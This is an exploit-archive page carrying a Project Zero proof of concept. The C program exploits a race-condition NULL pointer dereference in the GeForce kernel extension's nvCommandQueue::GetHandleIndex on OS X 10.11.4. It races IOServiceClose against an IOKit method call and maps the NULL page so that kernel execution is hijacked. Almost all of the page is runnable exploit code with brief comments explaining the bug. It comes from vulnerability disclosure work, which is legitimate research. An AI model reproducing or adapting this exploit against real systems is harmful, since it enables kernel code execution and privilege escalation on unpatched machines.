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# MacOSX 10.11.4 Exploitable NULL Pointer Dereference in nvCommandQueue Vulnerability

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/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784

The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.

We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext

The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.

We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0;

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
global_conn = conn;
selector = 0x100; // GetHandleData
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 4096;
}

void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}

// usleep(1);

make_iokit_call();
OSSpinLockUnlock(&lock);
return NULL;
}

mach_port_t get_user_client(char* name, int type) {
kern_return_t err;

CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}

io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}

io_service_t service = IOIteratorNext(iterator);

if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);


io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}

printf("got userclient connection: %x\n", conn);

return conn;
}

void poc() {
OSSpinLockLock(&lock);

pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);


mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue

set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);

pthread_join(t, NULL);
}

int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\x41';
}

for (;;) {
poc();
}

return 0;
}

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# Iranian Exploit DataBase = http://IeDb.Ir [2016-06-24]

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